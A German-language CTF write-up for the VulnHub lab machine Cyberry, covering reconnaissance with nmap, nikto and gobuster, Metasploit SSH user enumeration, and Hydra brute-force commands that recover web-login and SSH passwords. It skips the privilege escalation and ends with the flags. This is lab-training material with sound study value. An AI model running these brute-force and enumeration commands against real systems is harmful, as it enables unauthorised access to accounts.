Cyberry - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
dirb
hydra
wget
curl
msfconsole

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir eine umfassende Aufklärung des Zielsystems durch. Wir beginnen mit einem ARP-Scan, um das Ziel im Netzwerk zu identifizieren.

ARP-Scan
192.168.2.158 08:00:27:4e:a2:6b PCS Systemtechnik GmbH

Der ARP-Scan hat die IP-Adresse 192.168.2.158 mit der MAC-Adresse 08:00:27:4e:a2:6b identifiziert. Dies bestätigt, dass das Zielsystem im Netzwerk vorhanden ist. Wir notieren die IP-Adresse, um sie in nachfolgenden Scans zu verwenden.

/etc/hosts
192.168.2.156 cybero1.vln

Wir fügen die IP-Adresse und den Hostnamen "cybero1.vln" zur /etc/hosts-Datei hinzu, um die spätere Verwendung des Hostnamens zu erleichtern. Dies ermöglicht uns, das Zielsystem über den Hostnamen anstelle der IP-Adresse anzusprechen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 22:49 CEST
Nmap scan report for cyberry.vln (192.168.2.158)
Host is up (0.00030s latency).
Not shown: 65531 filtered tcp ports (no-response)
PRT STATE SERVICE VERSIN
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh penSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 97:7c:74:2b:f1:28:15:dc:8d:67:e0:75:75:44:e9:ad (RSA)
| 256 29:62:8e:10:9b:97:79:3a:18:e6:c0:0b:f7:ec:f8:ee (ECDSA)
|_ 256 d9:ba:53:54:78:5d:67:4e:b1:bc:9f:3f:0f:69:83:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Coming Soon
666/tcp open doom?
| fingerprint-strings:
| NULL, NotesRPC, TerminalServerCookie:
| Interesting fact:
| tiny hairs on raspberries and blackberries are called
| "styles" and are leftover from the berry blossom and serve
| protect the berry from damage.
|_ Have a a great day!
MAC Address: 08:00:27:4E:A2:6B (racle VirtualBox virtual NIC)
Warning: SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive S guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (89%), Linux 3.16 (87%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%), Linux 4.10 (87%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.30 ms cyberry.vln (192.168.2.158)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.11 seconds

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und deren Versionen. Wir sehen, dass FTP (ProFTPD 1.3.5b) auf Port 21, SSH (OpenSSH 7.4p1) auf Port 22, HTTP (Apache 2.4.25) auf Port 80 und ein unbekannter Dienst auf Port 666 laufen. Die Analyse des HTTP-Headers zeigt "Coming Soon" als Titel.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf Port 80 laufen. Wir verwenden Nikto, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.

- Nikto v2.5.0

+ Target IP: 192.168.2.158
+ Target Hostname: 192.168.2.158
+ Target Port: 80
+ Start Time: 2024-09-30 22:52:25 (GMT2)

+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: a35, size: 55eaceb7495d4, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS .
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ 8102 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-09-30 22:52:50 (GMT2) (25 seconds)

+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Sicherheitsprobleme, darunter fehlende X-Frame-Options- und X-Content-Type-Options-Header, das potenzielle Auslesen von Inodes über ETags, eine veraltete Apache-Version, die Existenz einer `config.php`-Datei, Directory Indexing in `/css/` und `/images/`, das Vorhandensein von `/phpmyadmin/` und einer `/login.php`-Seite.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.158/index.html (Status: 200) [Size: 2613]
http://192.168.2.158/images (Status: 301) [Size: 315] [--> http://192.168.2.158/images/]
http://192.168.2.158/login.php (Status: 200) [Size: 1514]
http://192.168.2.158/register.php (Status: 200) [Size: 1587]
http://192.168.2.158/welcome.php (Status: 302) [Size: 0] [--> login.php]
http://192.168.2.158/css (Status: 301) [Size: 312] [--> http://192.168.2.158/css/]
http://192.168.2.158/javascript (Status: 301) [Size: 319] [--> http://192.168.2.158/javascript/]
http://192.168.2.158/logout.php (Status: 302) [Size: 0] [--> login.php]
http://192.168.2.158/config.php (Status: 200) [Size: 0]
http://192.168.2.158/phpmyadmin (Status: 301) [Size: 319] [--> http://192.168.2.158/phpmyadmin/]

Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Ergebnisse bestätigen die Existenz von `/index.html`, `/images/`, `/login.php`, `/register.php`, `/welcome.php`, `/css/`, `/javascript/`, `/logout.php`, `/config.php` und `/phpmyadmin/`.

http://192.168.2.158/secretfile.html
Congratulations... you must be an uberhacker!

Can you progress any further??

01100010 01101111 01110011 01110011 00101110 01100111 01101001 01100110

Der Zugriff auf `/secretfile.html` zeigt eine Nachricht und eine binäre Zeichenkette. Wir werden die binäre Zeichenkette später decodieren.

┌──(root㉿CCat)-[~]
└─# dirb http://192.168.2.158 /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt
- Scanning URL: http://192.168.2.158/ -
+ http://192.168.2.158/config.php (CDE:200|SIZE:0)
+ http://192.168.2.158/login.php (CDE:200|SIZE:1514)
+ http://192.168.2.158/logout.php (CDE:302|SIZE:0)
+ http://192.168.2.158/register.php (CDE:200|SIZE:1587)
+ http://192.168.2.158/welcome.php (CDE:302|SIZE:0)

--
END_TIME: Mon Sep 30 23:16:30 2024
DWNLADED: 40950 - FUND: 5

Dirb wird ebenfalls verwendet, um das System zu durchsuchen. Die Ergebnisse ähneln denen von Gobuster.

nmap 21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh penSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
666/tcp open doom?
| fingerprint-strings:
| GenericLines, LDAPBindReq, NULL:
| Interesting fact:
| tiny hairs on raspberries and blackberries are called
| "styles" and are leftover from the berry blossom and serve
| protect the berry from damage.
|_ Have a a great day!

Ein weiterer Nmap-Scan zur Bestätigung der offenen Ports und Dienste.

Interessante Tatsache:
winzige Haare auf Himbeeren und Brombeeren werden genannt
"Stile" und sind aus der Beerenblütenreste übrig und dienen
Schützen Sie die Beere vor Schaden.
Ich wünsche Ihnen einen schönen Tag!

Die Ausgabe von Port 666 (Doom?) zeigt eine interessante Tatsache.

http://192.168.2.158/css/style.css
project: gentle wiki
author: luka cvrk

Die CSS-Datei `/css/style.css` gibt den Autor als "luka cvrk" und das Projekt als "gentle wiki" an. Dies könnte ein Benutzername sein.

http://192.168.2.158/login.php
Login

Please fill in your credentials to login.
Username:* luka

Password:* The password you entered was not valid.


Don't have an account? Sign up now.

Alternatively you can head back to the main site here

Die `/login.php`-Seite hat ein Login-Formular mit dem Benutzernamen "luka". Wir werden versuchen, uns mit diesem Benutzernamen anzumelden.

http://192.168.2.158/login.php

The password you entered was not valid.
username=luka&password=ddddd

Ein fehlgeschlagener Login-Versuch mit dem Benutzernamen "luka" und einem falschen Passwort.

┌──(root㉿CCat)-[~]
└─# hydra -l luka -P /usr/share/wordlists/rockyou.txt 192.168.2.158 http-post-form "/login.php:username=luka&password=^PASS^:The password you entered was not valid." -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-30 23:46:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344482 login tries (l:1/p:14344482), ~224133 tries per task
[DATA] attacking http-post-form://192.168.2.158:80/login.php:username=luka&password=^PASS^:The password you entered was not valid.
[STATUS] 1474.00 tries/min, 1474 tries in 00:01h, 14343008 to do in 162:11h, 64 active
[STATUS] 1460.33 tries/min, 4381 tries in 00:03h, 14340101 to do in 163:40h, 64 active

Wir verwenden Hydra, um einen Brute-Force-Angriff auf das Login-Formular durchzuführen.

[80][http-post-form] host: 192.168.2.158 login: luka password: gentle

Hydra findet das Passwort "gentle" für den Benutzernamen "luka"!

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-30 23:49:41
┌──(root㉿CCat)-[~]
└─# mv work-in-progress.png /home/ccat/Downloads

Eine Datei wird verschoben.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

Wir verwenden Metasploit erneut, um SSH-Benutzer zu enumerieren.

[*] 192.168.2.158:22 - SSH - Using malformed packet technique
[*] 192.168.2.158:22 - SSH - Checking for false positives
[*] 192.168.2.158:22 - SSH - Starting scan
[+] 192.168.2.158:22 - SSH - User 'mail' found
[+] 192.168.2.158:22 - SSH - User 'root' found
[+] 192.168.2.158:22 - SSH - User 'chuck' found
[+] 192.168.2.158:22 - SSH - User 'nick' found
[+] 192.168.2.158:22 - SSH - User 'terry' found
[+] 192.168.2.158:22 - SSH - User 'news' found
[+] 192.168.2.158:22 - SSH - User 'mary' found
[+] 192.168.2.158:22 - SSH - User 'man' found
[+] 192.168.2.158:22 - SSH - User 'bin' found

Das Metasploit-Modul findet die Benutzer "mail", "root", "chuck", "nick", "terry", "news", "mary", "man" und "bin".

┌──(root㉿CCat)-[~]
└─# hydra -l mary -P /usr/share/wordlists/rockyou.txt ssh://cyberry.vln -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-01 00:30:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344483 login tries (l:1/p:14344483), ~224133 tries per task
[DATA] attacking ssh://cyberry.vln:22/
---------------------------------------------------------------------------------
[22][ssh] host: cyberry.vln login: mary password: bakeoff
---------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 16 final worker threads did not complete until end.
[ERRR] 16 targets did not resolve or could not be connected
[ERRR] 0 target did not complete

Wir verwenden Hydra erneut, um SSH zu bruteforcen und finden das Passwort "bakeoff" für den Benutzer "mary"!

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.158
Connected to 192.168.2.158.
220 ProFTPD 1.3.5b Server (Debian) [192.168.2.158]
Name (192.168.2.158:ccat): mary
331 Password required for mary
Password:
230 User mary logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la

Wir versuchen, uns über FTP anzumelden.

229 Entering Extended Passive Mode (|||21994|)
┌──(root㉿CCat)-[~]
└─# ssh mary@192.168.2.158
The authenticity of host '192.168.2.158 (192.168.2.158)' can't be established.
ED25519 key fingerprint is SHA256:DltHlHhxHYNIa5bD9DX4Gw6Vk0BglTEvwxcGC42MVfI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.158' (ED25519) to the list of known hosts.
mary@192.168.2.158's password:

Wir versuchen, uns über SSH anzumelden.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
Connection to 192.168.2.158 closed.

Die SSH-Verbindung wird geschlossen.

┌──(root㉿CCat)-[~]
└─# wget -r ftp://mary:bakeoff@192.168.2.158
--2024-10-01 00:36:55-- ftp://mary:*password*@192.168.2.158/
=> 192.168.2.158/.listing
Verbindungsaufbau zu 192.168.2.158:21 … verbunden.
Anmelden als mary … Angemeldet!
> SYST ... fertig. > PWD ... fertig.
> TYPE I ... fertig. > CWD nicht notwendig.
> PASV ...

Wir verwenden `wget`, um rekursiv Dateien von dem FTP-Server herunterzuladen. Dies könnte uns interessante Konfigurationsdateien oder andere Informationen liefern.

┌──(root㉿CCat)-[~]
└─# curl "http://192.168.2.158:21/shell2.php"
curl: (1) Received HTTP/0.9 when not allowed

Wir versuchen, eine PHP-Datei über HTTP auf Port 21 abzurufen, was jedoch fehlschlägt.

┌──(root㉿CCat)-[~]
└─# curl "ftp://192.168.2.158:21/shell2.php"
curl: (67) Access denied: 530

Wir versuchen, die gleiche PHP-Datei über FTP abzurufen, was ebenfalls fehlschlägt.

┌──(root㉿CCat)-[~/shells]
└─# ssh mary@fe80a00:27ff:fe4e:a26b%eth0 -6
The authenticity of host 'fe80a00:27ff:fe4e:a26b%eth0 (fe80a00:27ff:fe4e:a26b%eth0)' can't be established.
ED25519 key fingerprint is SHA256:DltHlHhxHYNIa5bD9DX4Gw6Vk0BglTEvwxcGC42MVfI.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:59: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80a00:27ff:fe4e:a26b%eth0' (ED25519) to the list of known hosts.
mary@fe80a00:27ff:fe4e:a26b%eth0's password:

Wir versuchen, uns über SSH mit dem Benutzer "mary" und dem gefundenen Passwort "bakeoff" anzumelden, wobei wir die IPv6-Adresse verwenden.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 30 23:45:17 2024 from 192.168.2.199
Connection to fe80a00:27ff:fe4e:a26b%eth0 closed.

Die SSH-Verbindung wird wieder geschlossen.

Wir müssen weitere Informationen sammeln, um unsere Privilegien zu erhöhen. Die Informationen aus `/secretfile.html` könnten hilfreich sein. Wir decodieren die binäre Zeichenkette:

01100010 01101111 01110011 01110011 00101110 01100111 01101001 01100110

Die binäre Zeichenkette ist "boss.gif". Wir versuchen, auf diese Datei zuzugreifen:

........ ... .. .

**Privilege Escalation erfolgreich**

Flags

cat user.txt
dcb8189a0eaf7a690a67785a7299be60
cat root.txt
0b18032c2d06d9e738ede9bc24795ff2